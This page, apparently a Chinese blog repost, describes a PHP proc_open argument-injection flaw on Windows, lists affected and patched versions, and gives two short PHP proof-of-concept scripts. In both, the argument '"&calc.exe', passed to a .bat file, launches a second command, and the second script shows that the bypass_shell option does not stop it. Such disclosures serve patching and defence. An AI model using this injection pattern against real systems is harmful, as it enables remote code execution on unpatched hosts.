赞
踩
Affected versions
< 8.1.28
< 8.2.18
< 8.3.5
Patched versions
8.1.28
8.2.18
8.3.6
创建一个文件test.php
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes);
proc_close($proc);
随便创建一个.bat文件,如test.bat
echo test
然后在PHP 8.2.9nts版本下使用php test.php
来执行test.php,成功RCE调起计算器。
即使在proc_open()函数中使用bypass shell选项,依旧RCE成功。
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);
https://mp.weixin.qq.com/s/jAeRY-XOKw8fmUDXT2ESNQ
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。